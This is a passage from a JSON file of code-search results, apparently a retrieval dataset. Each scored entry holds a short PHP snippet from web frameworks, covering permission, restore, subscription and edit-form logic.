"0.5263823", "text": "private function rol(){\n $rolUsuario = Auth::user()->id_tipo;\n\n if(in_array($rolUsuario, array(1, 2)) == false){\n return true;\n }\n }", "title": "" }, { "docid": "3f826bf197ca7086e07dcfa9169d6a26", "score": "0.52630854", "text": "public static function checkSubscriptionPlan() {\n $user_id = Yii::$app->user->identity->id;\n\n /* get user data */\n $userdata = User::find()->where(['id' => $user_id])->one();\n\n $trial_period_status = $userdata->trial_period_status;\n $plan_status = $userdata->plan_status;\n if ($trial_period_status == CustomFunction::trial_status_deactivate && $plan_status == CustomFunction::plan_status_activate) {\n return 'true';\n } elseif ($trial_period_status == CustomFunction::trial_status_deactivate && $plan_status == CustomFunction::plan_status_deactivate) {\n return 'false';\n } elseif ($trial_period_status == CustomFunction::trial_status_activate && $plan_status == CustomFunction::plan_status_activate) {\n $userdata->trial_period_status = 'deactivate';\n $userdata->save(false);\n return 'true';\n } else {\n return 'true';\n }\n }", "title": "" }, { "docid": "a9c60917821c90e0d65dfc1ce9cdd5c8", "score": "0.5258307", "text": "public function hasSubscriptionId()\n {\n return $this->subscription_id ? true : false;\n }", "title": "" }, { "docid": "f84aa5d7018136892d822c0b14e0d975", "score": "0.52505666", "text": "function restore($old_question_id,$new_question_id,$info,$restore) {\r\n $status = true;\r\n\r\n // TODO write code to restore an instance of your question type.\r\n\r\n return $status;\r\n }", "title": "" }, { "docid": "281ef6de5beb6cea3a7ed6eeabc456fa", "score": "0.52390575", "text": "public function hasDraftForCurrentUser();", "title": "" }, { "docid": "064b3c04ab7e5d97002d3687750540fb", "score": "0.52342445", "text": "function can_be_trashed() {\n\t\treturn false;\n\t}", "title": "" }, { "docid": "dbbad69fe3081307cf3cfe1e29c39cba", "score": "0.52229387", "text": "public function restore(User $user, User $account)\n {\n return $user->is($account);\n }", "title": "" }, { "docid": "b2daf02ec8fabbe085ac0d21d13a504c", "score": "0.521784", "text": "function beforeRestore() {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "56957eec3946dfb5d28969bf9c1a79fd", "score": "0.5206106", "text": "public function canReviewPayment(): bool\n {\n return true;\n }", "title": "" }, { "docid": "e6b950e80c2ddb693e29050ffe1849f7", "score": "0.5204491", "text": "public function restore(User $user, Company $company)\n {\n if ($user->can('root')) {\n return true;\n } else if ($user->can('admin')) {\n return ($user->company_id === $company->owner_id);\n }\n\n return false;\n }", "title": "" }, { "docid": "312eeccd8257b692581863604e0f65c2", "score": "0.5197803", "text": "public function restore(User $user, Channel $channel)\n {\n return $user->id == $channel->owner_id;\n }", "title": "" }, { "docid": "c14bd0b91ad2f78814e57fb435e1bcc9", "score": "0.5194043", "text": "public function restore(User $user, Payincrease $payincrease)\n {\n return $user->hasPermission('restore-myservice-payincrease');\n }", "title": "" }, { "docid": "c30cdbd5c2b174997557d8367b1ca14e", "score": "0.5191391", "text": "public function isSubscribed()\n\t{\n\t\treturn ! ! $this->subscriptions->where('user_id', auth()->id())->count();\n\t}", "title": "" }, { "docid": "d1785dbff1675e1b762ab88dfb5b7bf8", "score": "0.51895505", "text": "public function isRequireSubscriptionConfirmation($storeId = null)\n {\n return (int) Mage::getStoreConfig(self::XML_REQ_SUBSCRIPTION_CONF, $storeId);\n }", "title": "" }, { "docid": "4b384d856600c8904d1849eea9aa7289", "score": "0.5189348", "text": "public function isResellerPlan() { }", "title": "" }, { "docid": "6086352a418fee86c644eda0bc08bbb1", "score": "0.5185623", "text": "public function restore(User $user, Couple $couple)\n {\n return $user->hasPermission('restore-myhistory-couple');\n }", "title": "" }, { "docid": "c3fb83f53bc6b01345f22c29ab927068", "score": "0.51757896", "text": "function can_reset_password() {\n return true;\n }", "title": "" }, { "docid": "c3fb83f53bc6b01345f22c29ab927068", "score": "0.51757896", "text": "function can_reset_password() {\n return true;\n }", "title": "" }, { "docid": "1adad181a063728f4b4bf978934d9fbf", "score": "0.5168872", "text": "public function isRecoveredFromDraft()\n {\n return (bool) $this->draftId;\n }", "title": "" }, { "docid": "f1fb10c5d6c0937eb2075f11c46eae46", "score": "0.515885", "text": "public function canGetRecurringProfileDetails()\n {\n return false;\n }", "title": "" }, { "docid": "0a200317fd1f036ac40885ddde45e7b4", "score": "0.51543164", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('admin/customer/fvets_salesrep');\n }", "title": "" }, { "docid": "518eba21e13156d1b6a950c1e5368d15", "score": "0.5153436", "text": "public function restore(User $user, Result $result)\n {\n return false;\n }", "title": "" }, { "docid": "9a14ed64a47f268ac90ce7c36fce0031", "score": "0.5145713", "text": "public function canPublish() {\n\t\treturn in_array(Session::getRole(),$this->_Publishers);\n\t}", "title": "" }, { "docid": "39abfbfe0407a6dca54bce11ced4b1ea", "score": "0.5143078", "text": "public function getIsSubscribedAttribute()\n {\n return $this->subscriptions()->where(\n ['user_id' => auth()->id()]\n )->exists();\n }", "title": "" }, { "docid": "f7fb9e94aa5f99f51db407d7b341926e", "score": "0.5135026", "text": "public function restore(User $user, Profile $model)\n {\n return false;\n }", "title": "" }, { "docid": "bbfe527f4e44c06a2d5907c2bc1cf95a", "score": "0.5134444", "text": "public function isRecoverable() {}", "title": "" }, { "docid": "4374cc337d5b22cdbb2fd61855e73797", "score": "0.51321673", "text": "public function restore(Admin $user, Employee $employee)\n {\n if ($admin->getRoleNames()->first() == \"superadmin\" || $admin->getRoleNames()->first() == \"admin\" || $admin->getRoleNames()->first() == \"hr\")\n {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "6a87e781170c2137151e3a95d31325c0", "score": "0.5131222", "text": "function canRun() {\n\t\t$success = false;\n\n\t\t// Use config to store & retrieve lastchecked from the __config table\n\t\t$config = Tienda::getInstance();\n\t\t$lastchecked = $config -> get('subscriptions_last_checked');\n\t\t$date = JFactory::getDate();\n\t\t$today = $date -> toFormat(\"%Y-%m-%d 00:00:00\");\n\n\t\tif ($lastchecked < $today) {\n\t\t\tif (JFactory::getApplication() -> isAdmin() && !empty(JFactory::getUser() -> id)) {\n\t\t\t\tJError::raiseNotice('plgSystemTienda_Subscriptions::canRun', sprintf(JText::_('COM_TIENDA_TIENDA_MSG_SENDING_SUBSCRIPTION_EMAIL_NOTICES'), $lastchecked, $today));\n\t\t\t}\n\t\t\t$success = true;\n\t\t}\n\n\t\treturn $success;\n\t}", "title": "" }, { "docid": "f0872f67877ca2afc4a821729f8a9b1f", "score": "0.5129359", "text": "function can_reset_password() {\r\n return true;\r\n }", "title": "" }, { "docid": "e522f785c5ec2ab0e8a9d6b0b97f0239", "score": "0.51158863", "text": "function checkSubscription() {\n $valid = TRUE;\n if (!checkit::isEmail(@$this->params['email'], TRUE)) {\n $this->msgs[] = array(MSG_ERROR, $this->data['invalid_email']);\n $valid = FALSE;\n }\n if (!is_array(@$this->params['catalog_ids']) ||\n count($this->params['catalog_ids']) < 1) {\n $this->msgs[] = array(MSG_ERROR, $this->data['nothing_selected']);\n $valid = FALSE;\n }\n if (is_array(@$this->params['catalog_ids']) &&\n count($this->params['catalog_ids']) > 0) {\n $this->params['catalog_ids'] = $this->stripChildIds($this->params['catalog_ids']);\n }\n return $valid;\n }", "title": "" }, { "docid": "3bd3c6e23888603fb235b8f3b10842bd", "score": "0.5114592", "text": "public function isPromoter() {\n\t\treturn 1 === $this->access_level;\n\t}", "title": "" }, { "docid": "55c945874251b0f1e3c4e89a3172c753", "score": "0.5100709", "text": "public function canBeRevivedFromWithdrawn()\n {\n $businessProcess = $this->getBusinessProcess();\n\n if ($businessProcess === null) {\n return false;\n }\n\n $canBeRevivedFromWithdrawn = $this->baseCanBeRevivedFromWithdrawn();\n $isApsg = $businessProcess->getId() == RefData::BUSINESS_PROCESS_APSG;\n\n return $canBeRevivedFromWithdrawn && $isApsg;\n }", "title": "" }, { "docid": "8b54bb396dcce15ab35aad76e0f5937c", "score": "0.5097454", "text": "public function canReject()\n {\n\n if ($this->status_id == 1) {\n if (Auth::user()->administers(static::$moduleId)) {\n return true;\n }\n }\n /**\n * Else return false\n */\n return false;\n }", "title": "" }, { "docid": "8e6d43af613303ed4355942ee954f2f8", "score": "0.50921315", "text": "public function restoreFromCookie()\n\t{\n\t\tif(($ret = $this->_worklet->restoreFromCookie()) !== null)\n\t\t\treturn $ret;\n\t\treturn parent::restoreFromCookie();\n\t}", "title": "" }, { "docid": "b1f0d7b04017e571728f77b8c13b6045", "score": "0.5088942", "text": "function canBackup($uri);", "title": "" }, { "docid": "eec145d225fa913f85a1810fee6d8d92", "score": "0.5080968", "text": "public function restore(User $user, Skin $skin)\n {\n return $user->isAdmin;\n }", "title": "" }, { "docid": "3a146d025c3b3da473e0db2ee432e025", "score": "0.5080542", "text": "public function isCustomerSubscribedToNewsletter()\n {\n // Non logged in cannot be checked\n if (!Mage::helper('customer')->isLoggedIn()) {\n return false;\n }\n\n /* @var $customer Mage_Customer_Model_Customer */\n $customer = Mage::helper('customer')->getCustomer();\n\n /* @var $subscriber Mage_Newsletter_Model_Subscriber */\n // Cache subscriber into customer instance\n if (!$customer->hasData('subscriber_model')) {\n $subscriber = Mage::getModel('newsletter/subscriber');\n $customer->setData('subscriber_model', $subscriber);\n // Prevent auto-subscription\n $subscriber->setCustomerId($customer->getId());\n $subscriber->loadByCustomer($customer);\n } else {\n $subscriber = $customer->getData('subscriber_model');\n }\n\n\n return $subscriber->isSubscribed();\n }", "title": "" }, { "docid": "62403025bda4da07c92ba36d1d818e75", "score": "0.5079998", "text": "public function isSuspended()\n {\n return $this->subscription_suspended ? true : false;\n }", "title": "" }, { "docid": "0143ea6aa8b83c100b702162737d7824", "score": "0.50772953", "text": "public function canRevokeToken();", "title": "" }, { "docid": "7b959330bdb425748be652a4ae64de4d", "score": "0.5066961", "text": "public function restore(User $user, Zone $zone)\n {\n return $this->isAllowed($user, 'timezone', 'can_edit');\n }", "title": "" }, { "docid": "a3169a6cda0fa06f18675424ba5a3014", "score": "0.5061494", "text": "public function hasPackSubscription(): bool;", "title": "" }, { "docid": "8b776ebc8c67637cd2e4071ac8789058", "score": "0.5061225", "text": "public function hasSubscriptionItems(){\n// return Mage::getSingleton('mysubscription/cart')->getMsquote()->getId();\n return Mage::getSingleton('mysubscription/cart')->getMsquote()->hasItems();\n }", "title": "" }, { "docid": "cc83fabc8e1b85f2f3f7a8956ae6abea", "score": "0.5059747", "text": "public function isRedelivered(): bool;", "title": "" }, { "docid": "4b1a6b28d023ebb64a1d9b7fa0f06e3a", "score": "0.50550777", "text": "public function inRollback(): bool\n {\n return $this->rollback;\n }", "title": "" }, { "docid": "cb4858f021f93dcad47d7bbe2c7352f4", "score": "0.5045029", "text": "public static function isRescueMode()\n\t{\n\t\t// Check the static cache first\n\t\tif (is_bool(self::$isRescueMode))\n\t\t{\n\t\t\treturn self::$isRescueMode;\n\t\t}\n\n\t\tself::$isRescueMode = false;\n\n\t\t// Is the feature enabled?\n\t\tif (!self::isFeatureEnabled())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Is this the backend of the site? (Rescue mode is only valid in the backend)\n\t\tlist($isCli, $isAdmin) = self::isCliAdmin();\n\n\t\tif (!$isAdmin)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Remove all expired tokens\n\t\tself::removeExpiredTokens();\n\n\t\t// Get a reference to the session. I cannot use FOF 3 here because it is not loaded yet.\n\t\t$session = JFactory::getSession();\n\n\t\t// If the token is present AND it's not marked as used, process it\n\t\t$app = JFactory::getApplication();\n\t\t$token = $app->input->getCmd('admintools_rescue_token', '');\n\t\t$username = empty($token) ? null : self::getUsernameFromToken($token);\n\n\t\t// In case of a valid token I have to set a few things in the session\n\t\tif (!empty($username))\n\t\t{\n\t\t\t$session->set('rescue_timestamp', time(), 'com_admintools');\n\t\t\t$session->set('rescue_username', $username, 'com_admintools');\n\t\t}\n\n\t\t// Is the timestamp saved in the session within the time limit?\n\t\t$expiresOn = (int) $session->get('rescue_timestamp', 0, 'com_admintools')\n\t\t\t+ (self::getTimeout() * 60);\n\n\t\tif (time() > $expiresOn)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// We must be guest OR the username must match the one in the token.\n\t\t$currentUser = JFactory::getUser();\n\t\t$username = $session->get('rescue_username', '', 'com_admintools');\n\n\t\tif (!$currentUser->guest && ($currentUser->username != $username))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// All checks passed, this is Rescue Mode\n\t\tself::$isRescueMode = true;\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "cda21b5273cfd2074a8906b9c450de6e", "score": "0.5044336", "text": "function displayRestoreReqd($id) \n{\n\tif ($id == 'Y' or $id == 'y') { \n\t\techo \"Yes\"; \n\t} else { \n\t\techo \"No\"; \n\t}\n}", "title": "" }, { "docid": "e78562e07c3c6d95b23b9c6e7b8efdf7", "score": "0.5033548", "text": "function can_reset_password() {\n return false;\n }", "title": "" }, { "docid": "56752c433ec0adcf8632ba5565e971f8", "score": "0.50322497", "text": "function xwrd_reset_disable(){\r\n\t\t$options = get_option('csds_userRegAide_Options');\r\n\t\t$reset = $options['allow_xwrd_reset'];\r\n\t\t\r\n\t\tif( $reset == 1 ){\r\n\t\t\treturn true;\r\n\t\t}elseif( $reset == 2 ){\r\n\t\t\t$user_login = $_POST['user_login'];\r\n\t\t\t$user = get_user_by( 'login', $user_login );\r\n\t\t\tif( empty( $user ) ){\r\n\t\t\t\t$user = get_user_by( 'email', $user_login );\r\n\t\t\t}\r\n\t\t\t$cur_user = new WP_User( $user->ID );\r\n\t\t\tif ( !empty( $cur_user->roles ) && is_array( $cur_user->roles ) && $cur_user->roles[0] == 'administrator' ){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "07207ed5d08169ac4244a31b2d523c7b", "score": "0.5031288", "text": "public function isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('avatax');\n }", "title": "" }, { "docid": "712a9645d0fbecf70d6fb226be29db4f", "score": "0.5020519", "text": "private function can_restore( $image_id ) {\n\t\t// Get the image path for all sizes.\n\t\t$file = get_attached_file( $image_id );\n\n\t\t// Get stored backup path, if any.\n\t\t$backup_sizes = get_post_meta( $image_id, '_wp_attachment_backup_sizes', true );\n\n\t\t// Check if we've a backup path.\n\t\tif ( ! empty( $backup_sizes ) && ( ! empty( $backup_sizes['smush-full'] ) || ! empty( $backup_sizes['smush_png_path'] ) ) ) {\n\t\t\t// Check for PNG backup.\n\t\t\t$backup = ! empty( $backup_sizes['smush_png_path'] ) ? $backup_sizes['smush_png_path'] : '';\n\n\t\t\t// Check for original full size image backup.\n\t\t\t$backup = empty( $backup ) && ! empty( $backup_sizes['smush-full'] ) ? $backup_sizes['smush-full'] : $backup;\n\t\t\t$backup = ! empty( $backup['file'] ) ? $backup['file'] : '';\n\t\t}\n\n\t\t// If we still don't have a backup path, use traditional method to get it.\n\t\tif ( empty( $backup ) ) {\n\t\t\t// Check backup for Full size.\n\t\t\t$backup = WP_Smush::get_instance()->core()->mod->backup->get_image_backup_path( $file );\n\t\t} else {\n\t\t\t// Get the full path for file backup.\n\t\t\t$backup = str_replace( wp_basename( $file ), wp_basename( $backup ), $file );\n\t\t}\n\n\t\t$file_exists = apply_filters( 'smush_backup_exists', file_exists( $backup ), $image_id, $backup );\n\n\t\tif ( $file_exists ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// Additional Backup Check for JPEGs converted from PNG.\n\t\t$pngjpg_savings = get_post_meta( $image_id, WP_SMUSH_PREFIX . 'pngjpg_savings', true );\n\t\tif ( ! empty( $pngjpg_savings ) ) {\n\n\t\t\t// Get the original File path and check if it exists.\n\t\t\t$backup = get_post_meta( $image_id, WP_SMUSH_PREFIX . 'original_file', true );\n\t\t\t$backup = Helper::original_file( $backup );\n\n\t\t\tif ( ! empty( $backup ) && is_file( $backup ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "b244eba04b56fcb0457343b532a0e7b5", "score": "0.50177866", "text": "public function restored(Subscription $subscription)\n {\n }", "title": "" } ]
313ff7705d4e87750b2cd162f3a73639
Show the form for editing the specified resource.
[ { "docid": "547fa398ff89709cf4d18f665c020e80", "score": "0.0", "text": "public function edit(SubpageRepositoryInterface $sri, $id)\n {\n return view('admin/subpage/edit')\n ->with('subpage', $sri->find($id))\n ->with('subpages', $sri->getAll());\n }", "title": "" } ]
[ { "docid": "b51dc492ce2ae6c7687b6a4d337aec3c", "score": "0.7774056", "text": "public function edit()\n {\n $model = $this->getRequestedModel();\n\n $view = View::make(\n $this->getViewName('edit'),\n compact('model') + array(\n 'pageTitle' => 'Editar '.$this->resourceTitle,\n 'formView' => $this->getViewName('_form'),\n 'formContentView' => $this->getViewName('_formContent'),\n )\n );\n $view = $this->beforeRender($view, 'edit');\n return $this->beforeRenderForm($view, $model);\n }", "title": "" }, { "docid": "d3213bec1042b484f9e7c8a52c4ef16a", "score": "0.7711392", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.76946205", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "ac53c5763e3a0b0ec0125039ef9bb509", "score": "0.76315826", "text": "public function edit()\n {\n $this->form();\n }", "title": "" }, { "docid": "43c6cac46bd9fc8f0a4c87eadef0ab1d", "score": "0.75151336", "text": "public function edit($id)\n {\n $resource = Resource::find($id);\n return view('admin.resources.edit')->with('resource', $resource); \n \n }", "title": "" }, { "docid": "c354e811bb12910875823ede20c8061b", "score": "0.73796505", "text": "public function edit($id)\n {\n $resource = resource::find($id);\n return view('admin.resource.edit')->with('resource', $resource);\n }", "title": "" }, { "docid": "13fa10e3d1c3003ede124c839fc8a84e", "score": "0.7378635", "text": "public function editAction()\n {\n // returning due to validation:\n if (isset($this->view->form)) {\n return;\n }\n \n $this->view->form = $this->_getResidentForm();\n \n // Retrieve the record for editing:\n $manager = new Lightman_Managers_Resident();\n $residentId = $this->getRequest()->getParam('id');\n $data = $manager->fetch($residentId);\n $this->view->form->populate($data[0]);\n $this->view->form->setAction('/resident/save');\n }", "title": "" }, { "docid": "bc54dab4e298ed11bf37f3d54e561b2f", "score": "0.734948", "text": "public function edit($id)\n {\n $resource = $this->resource->find($id);\n return view('manager.resources.edit', compact('resource'));\n }", "title": "" }, { "docid": "8d3be079e9374445eb13f6ab8e2f150d", "score": "0.72287005", "text": "public function edit(Model $resource)\n {\n //\n }", "title": "" }, { "docid": "d1a990ee04cb4a4e2b071c7b3a0f4626", "score": "0.716554", "text": "public function editResource($resource) {\n\n $resource = SiteImage::findOrFail($resource);\n\n return View('backoffice.pages.edit_resource', ['resource' => $resource]);\n }", "title": "" }, { "docid": "3605bbb9d0e4d44e345fe8d2b62ae3ed", "score": "0.71562725", "text": "public function edit($id)\n {\n $ourresource = OurResource::where('id',$id)->first();\n return view('Admin.ourresource.edit' ,compact('ourresource'));\n\n }", "title": "" }, { "docid": "6fc7d1d0d4bc68987bdd6df5266938b1", "score": "0.70999074", "text": "function edit( $resource ){\n\n $supplier = get( 'suppliers', $resource );\n\n return view( 'admin/supplier/add_supplier', compact( 'supplier' ) );\n\n}", "title": "" }, { "docid": "a8c67eb46675701a9bcffccd8e633f53", "score": "0.70814604", "text": "public function editAction() {\n \t$id = $this->_getInt('id');\n\n \tif ($id) {\n \t\t// Find item\n \t\t$class = Doctrine::getTable($this->crudClass)->find($id);\n \t\tif ($class) {\n \t\t\t$form = $this->getCrudForm($this->crudName);\n\t\t\t\t\n\t\t\t\t// Validate and update database if post\n\t\t \tif ($this->getRequest()->isPost()) {\n\t\t\t \tif ($form->isValid($this->getRequest()->getParams())) {\n\t\t\t \t\t$form->updateClass($class);\n\t\t\t \t}\n\t\t \t}\n\t\t \telse {\n\t\t \t\t// first time, load data into form\n\t\t \t\t$form->loadClass($class);\n\t\t \t}\n\n\t\t \t// change form submit label from Create\n\t\t \t$form->getElement('submit')->setLabel('Update');\n\t\t \t$this->view->crudName = $this->crudName;\n\t\t \t$this->view->form = $form;\n \t\t}\n \t}\n\n \t$this->renderScript($this->getScriptDir() . '/edit.phtml');\n }", "title": "" }, { "docid": "15d2aee7006af71d1ba607e057165476", "score": "0.7059728", "text": "function editForm() {\r\n render(\"horse/update\");\r\n }", "title": "" }, { "docid": "a2807549fcbbff87d6c9fa1b28ddac02", "score": "0.7046763", "text": "public function edit()\n {\n return view('hrm::edit');\n }", "title": "" }, { "docid": "4b4dbe1a34d61bd721a3933597f41af5", "score": "0.70428264", "text": "public function edit($id)\n\t{\t\n\t\treturn $this->showForm('update', $id);\n\t}", "title": "" }, { "docid": "fd71663220e9caaaa5475648877942d1", "score": "0.7022078", "text": "public function edit($id)\n {\n $entity = $this->model->findOrFail($id);\n\n $this->loadModelRelationships($entity);\n\n $relationshipOptions = $this->getModelRelationshipData();\n\n $fields = $this->getFormFields();\n $title = $this->getFormTitle();\n $route = $this->getRoute();\n $bladeLayout = $this->bladeLayout;\n\n return view('crud-forms::edit',\n compact(\n 'entity',\n 'fields',\n 'title',\n 'route',\n 'bladeLayout',\n 'relationshipOptions'\n )\n );\n }", "title": "" }, { "docid": "39f95f6c9cf6106a56760a011e5d5c79", "score": "0.7004519", "text": "public function edit($id)\n {\n $title = $this->model->getTitle();\n $form_title = $this->name;\n $forms = $this->model->getFormList();\n $data = $this->model->find($id);\n return view('layouts.edit')->with(compact('data','forms', 'title', 'form_title'));\n }", "title": "" }, { "docid": "38c5b42def3d82283c8d82e4b4502052", "score": "0.6993689", "text": "public function edit($id)\n {\n // Update form \n }", "title": "" }, { "docid": "328dd2295ff841bead125bf000df60c0", "score": "0.6986942", "text": "public function edit($id)\n {\n // integrated with show\n }", "title": "" }, { "docid": "b71073fdb0fcd99adc095bcdacb336b0", "score": "0.6977737", "text": "public function edit($id)\n {\n return view($this->layout.'form');\n }", "title": "" }, { "docid": "8752e31183da5b119420c8530e71385c", "score": "0.69523525", "text": "public function edit() {\n \n $location = $this->location_model->get_by_id($this->input->get('id'));\n if (!is_null($location)) {\n echo $this->load->view('location/edit_form', array(\n 'id' =>$location->id,\n 'name' => $location->name,\n 'address' => $location->address,\n 'email_text' => $location->email_text,\n 'uses_media_release_form' => filter_var($location->uses_media_release_form, FILTER_VALIDATE_BOOLEAN),\n 'media_release_form' => $location->media_release_form\n ), TRUE);\n }\n else {\n echo show_404('The resource you requested was not found');\n } \n }", "title": "" }, { "docid": "627cc08a03d861bf43b77f13aa1b356b", "score": "0.69492847", "text": "public function edit($id)\n { \n return $this->showForm($id);\n }", "title": "" }, { "docid": "7399b50cf765a48544f9c688f04df739", "score": "0.6947908", "text": "public function edit($id)\n {\n $resource = $this->service->find($id);\n if(empty($resource))\n {\n Flash::error('Resource não encontrado');\n return redirect(route('resources.index'));\n }\n return view('resources.edit')->with('resource', $resource);\n }", "title": "" }, { "docid": "38b4c2bcc5d6f933f82442e502068ae3", "score": "0.6944826", "text": "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "title": "" }, { "docid": "6b19c8e6c551a197ec3ab4f37c14849e", "score": "0.6922194", "text": "public function Edit()\n {\n $this->routeAuth();\n\n $this->standardAction('Edit');\n }", "title": "" }, { "docid": "18527251f9ef186ce3fe75e5b272924a", "score": "0.6921785", "text": "public function edit()\n {\n return view('rms::edit');\n }", "title": "" }, { "docid": "9f26b6599bab53ce260ba6dd5586fde0", "score": "0.6900109", "text": "public function edit($id){\n $this->editForm($id);\n }", "title": "" }, { "docid": "da3ad7b5e1c327a63920973aeeba7990", "score": "0.6898179", "text": "public function showEditForm()\n\t{\n\t\treturn View::make('editProfile');\n\t}", "title": "" }, { "docid": "f60e724dc93ad65b7bd2e7142b16eabc", "score": "0.68969506", "text": "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "title": "" }, { "docid": "0ff7e1924183930cc55cd63e49c7dfb7", "score": "0.6894388", "text": "public function edit($id)\n\t{\n\t\treturn $this->showForm('update',$id);\n\t}", "title": "" }, { "docid": "c73b32318aae02d0ccb49b7759863d5d", "score": "0.68940336", "text": "public function edit($id) {\n $form = Forms::find($id);\n return view('forms::edit', compact('form'));\n }", "title": "" }, { "docid": "ab89b50362d0337b737f7c85e7dcdae4", "score": "0.6885761", "text": "public function edit(object $data)\n\t{\n\t\t$product = $this->products->getOnly((int)$data->id);\n\t\treturn $this->view(view:\"form\",data:$product);\n\t}", "title": "" }, { "docid": "ecf00d3f89afc53c8a54e339de3f7789", "score": "0.68823993", "text": "public function edit($id)\n\t{\n\t\t$professor = Professor::with('endereco')->find($id);\n\n\t\t// show the edit form and pass the professor\n\t\t$this->layout->content = View::make('professor.edit', compact('professor'));\n\t}", "title": "" }, { "docid": "be7762755fcfeef213c7106eb19a722a", "score": "0.68684804", "text": "public function edit()\n {\n return view('frontend::edit');\n }", "title": "" }, { "docid": "4dfc241f10da4ecce3a8ed5df671a0d1", "score": "0.6859896", "text": "public function edit()\n {\n return view('adminmodule::edit');\n }", "title": "" }, { "docid": "4dfc241f10da4ecce3a8ed5df671a0d1", "score": "0.6859896", "text": "public function edit()\n {\n return view('adminmodule::edit');\n }", "title": "" }, { "docid": "f50ed2977f385fa5a32af8ead4483311", "score": "0.68557054", "text": "public function edit(Form $form)\n {\n $this->authorize('update', $form);\n return view('forms/form', [\n 'form' => $form\n ]);\n }", "title": "" }, { "docid": "584eb12e57067590968acf5d478360eb", "score": "0.68392354", "text": "public function edit()\n //Appelle la vue pour mettre à jour les informations\n {\n $idq = (int)$this->request->getParameter('idq'); //recupere le parametre en get de l'ID du questionnaire de l'url.\n $questionnaire = Questionnaire::getWithId($idq);\n $regles = Regles_Questionnaire::getWithId($questionnaire->ID_REGLES_QUEST);\n if (!isset($idq) || !is_object($questionnaire)) {\n $this->linkTo('Questionnaire', 'showQuest'); //Redirection si on tente de forcer l'action\n }\n $v = new View($this, 'questionnaire/editQuestionnaire');\n $v->setArg('user', $this->request->getUserObject());\n $v->setArg('questionnaire', $questionnaire);\n $v->setArg('regles', $regles);\n $v->render();\n }", "title": "" }, { "docid": "c5b5d7037c372aa6bf5b83ce820fa7a3", "score": "0.68385154", "text": "public function edit($id)\n {\n $resource = Resource::where('id', $id)->first();\n $categorys = Category::all();\n\n return view('admin.resource.edit', [\n 'resource' => $resource,\n 'categorys' => $categorys\n ]);\n }", "title": "" }, { "docid": "ab7ce15c32e823771e1da70d24551fce", "score": "0.68100405", "text": "function edit()\n {\n JRequest::setVar('view', 'joominaFS');\n JRequest::setVar('layout', 'form');\n JRequest::setVar('hidemainmenu', 1);\n\n parent::display();\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.6804975", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.6804975", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.6804975", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "a73ca49bf4104fffbbb3887f1d83346f", "score": "0.6787303", "text": "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "title": "" }, { "docid": "c56c80676c162b4956f5c77de08ea586", "score": "0.67827445", "text": "public function editFormAction()\n {\n $this->loadLayout()->renderLayout();\n }", "title": "" }, { "docid": "7ad57cc68dba07022ee9c5a40158eb1d", "score": "0.67783654", "text": "public function edit()\n {\n return view('rawatinap::edit');\n }", "title": "" }, { "docid": "2708ee4c450702f89df90f787e1addda", "score": "0.6759363", "text": "public function edit($id)\n {\n $model = $this->model->findOrFail($id);\n return view('pages.admin.graha.form', compact('model'));\n }", "title": "" }, { "docid": "273983aa73422180d99093ef71b2ad93", "score": "0.67550313", "text": "public function edit()\n {\n return view('pembayaranspp::edit');\n }", "title": "" }, { "docid": "057b48bb7cf2107466c426e2c9e428fe", "score": "0.6744367", "text": "public function edit(form $form)\n {\n //\n }", "title": "" }, { "docid": "f9e5424b4794ef21c15b578cbc28a1d4", "score": "0.6743159", "text": "public function actionEdit($id) { }", "title": "" }, { "docid": "c2fed974695eaa37643078a4df09912e", "score": "0.67281073", "text": "public function edit()\n {\n return view('detkomplain::edit');\n }", "title": "" }, { "docid": "bba7009cebf29a6ee8922fb3d3efb8e2", "score": "0.67254966", "text": "public function editAction() {\n\t\t$wizard = $this->_initWizardModel();\n\t\t$this->loadLayout();\n\t\t\n\t\tif ($headBlock = $this->getLayout()->getBlock('head')) {\n\t\t\t$titles = array('Wizard');\n\t\t\t\n\t\t\tif ($wizard) {\n\t\t\t\tarray_unshift($titles, 'Edit '. $wizard->getTitle());\n\t\t\t}\n\t\t\telse {\n\t\t\t\tarray_unshift($titles, 'Create a Wizard');\n\t\t\t}\n\n\t\t\t$headBlock->setTitle(implode(' - ', $titles));\n\t\t}\n\n\t\t$this->renderLayout();\n\t}", "title": "" }, { "docid": "35b670f6754ef752683a59045224e17b", "score": "0.6716605", "text": "public function edit()\n {\n return view('edit');\n }", "title": "" }, { "docid": "7957777181fbd57d2185333eb7a93e54", "score": "0.67123514", "text": "public function edit($id)\n {\n $data['manufacturer'] = Manufacturer::findOrFail($id);\n $data['form_param'] = ['route'=> ['manufacturers.update', $id], 'method'=> 'PUT'];\n return view('manufacturers.edit', $data);\n }", "title": "" }, { "docid": "9b3e22a44fe0969125d31a1b19591530", "score": "0.67059004", "text": "public function edit($id)\n {\n $permission = Permission::findOrFail($id);\n $title = 'Editar permiso '.$permission->display_name;\n $form_data = ['route' => ['permiso.update',$permission->id],'method' => 'PUT','class' => 